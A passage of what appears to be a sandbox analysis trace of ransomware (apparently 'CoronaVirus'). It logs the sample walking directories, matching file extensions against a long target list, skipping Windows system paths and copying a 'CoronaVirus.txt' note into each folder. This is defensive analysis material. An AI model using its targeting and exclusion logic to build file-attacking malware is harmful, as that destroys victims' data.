	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".sdf", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".dwg", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".dxf", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".dgn", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".stl", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".gho", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".v2i", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".3ds", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".ppt", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".acc", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".vpd", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".odt", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".ods", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".rar", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".zip", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".cpp", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".pas", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".asm", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".rtf", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".lic", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".avi", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".mov", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".mp3", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".vbs", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.443] wcsstr (_Str=".v8i", _SubStr=".ini") returned 0x0
	[0079.443] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".erf", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".epf", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".mxl", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".cfu", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".mht", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.444] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.444] wcsstr (_Str=".old", _SubStr=".ini") returned 0x0
	[0079.444] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0079.444] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0079.444] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0079.444] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.444] wcsncmp (_String1="S-", _String2="..", _MaxCount=0x2) returned 37
	[0079.444] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0079.444] wcsncmp (_String1="C:\\$Recyc", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.444] wcsstr (_Str="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.444] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\CoronaVirus.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.448] _alloca_probe () returned 0x4036d0
	[0079.448] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x316583c*="S-1-5-21-1051304884-625712362-2192934891-1000") returned 0x3d
	[0079.448] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0079.448] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.448] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.448] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.448] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8b50a93, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8b50a93, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.448] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.448] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.448] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.448] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.448] malloc (_Size=0x1000) returned 0x45b910
	[0079.449] _swprintf (in: param_1=0x45b910, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\CoronaVirus.txt") returned 77
	[0079.449] wcsstr (_Str="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.449] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.449] wcsncmp (_String1="d", _String2=".", _MaxCount=0x1) returned 54
	[0079.449] wcsncmp (_String1="de", _String2="..", _MaxCount=0x2) returned 54
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".bat", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".doc", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".jpg", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".jpe", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".txt", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".tex", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".dbf", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".xls", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".cry", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".xml", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".vsd", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".pdf", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".csv", _SubStr=".ini") returned 0x0
	[0079.449] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.449] wcsstr (_Str=".bmp", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".tif", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".1cd", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".tax", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".gif", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".gbr", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".png", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".mdb", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".mdf", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".sdf", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".dwg", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".dxf", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".dgn", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".stl", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".gho", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".v2i", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".3ds", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".ppt", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.450] wcsstr (_Str=".acc", _SubStr=".ini") returned 0x0
	[0079.450] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".vpd", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".odt", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".ods", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".rar", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".zip", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".cpp", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".pas", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".asm", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".rtf", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".lic", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".avi", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".mov", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".mp3", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".vbs", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".v8i", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".erf", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".epf", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".mxl", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.451] wcsstr (_Str=".cfu", _SubStr=".ini") returned 0x0
	[0079.451] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.452] wcsstr (_Str=".mht", _SubStr=".ini") returned 0x0
	[0079.452] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.452] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.452] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.452] wcsstr (_Str=".old", _SubStr=".ini") returned 0x0
	[0079.452] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0079.452] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0079.464] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0079.464] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0079.464] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0079.464] wcsncmp (_String1="$", _String2=".", _MaxCount=0x1) returned -10
	[0079.464] wcsncmp (_String1="$W", _String2="..", _MaxCount=0x2) returned -10
	[0079.464] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0079.464] wcsncmp (_String1="5", _String2=".", _MaxCount=0x1) returned 7
	[0079.464] wcsncmp (_String1="58", _String2="..", _MaxCount=0x2) returned 7
	[0079.465] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212") returned 21
	[0079.465] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.465] wcsstr (_Str="C:\\588bce7c90097ed212", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.465] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.572] _alloca_probe () returned 0x4036d0
	[0079.572] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\588bce7c90097ed212", lpFilePart=0x3173ab4*="588bce7c90097ed212") returned 0x15
	[0079.572] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8c90eba, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600710
	[0079.572] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.572] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8c90eba, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.573] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.573] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1
	[0079.573] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0079.573] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0079.573] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025") returned 26
	[0079.573] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.573] wcsstr (_Str="C:\\588bce7c90097ed212\\1025", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.573] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.579] _alloca_probe () returned 0x4036d0
	[0079.579] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1025", lpFilePart=0x316583c*="1025") returned 0x1a
	[0079.579] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8ca8114, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0079.579] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
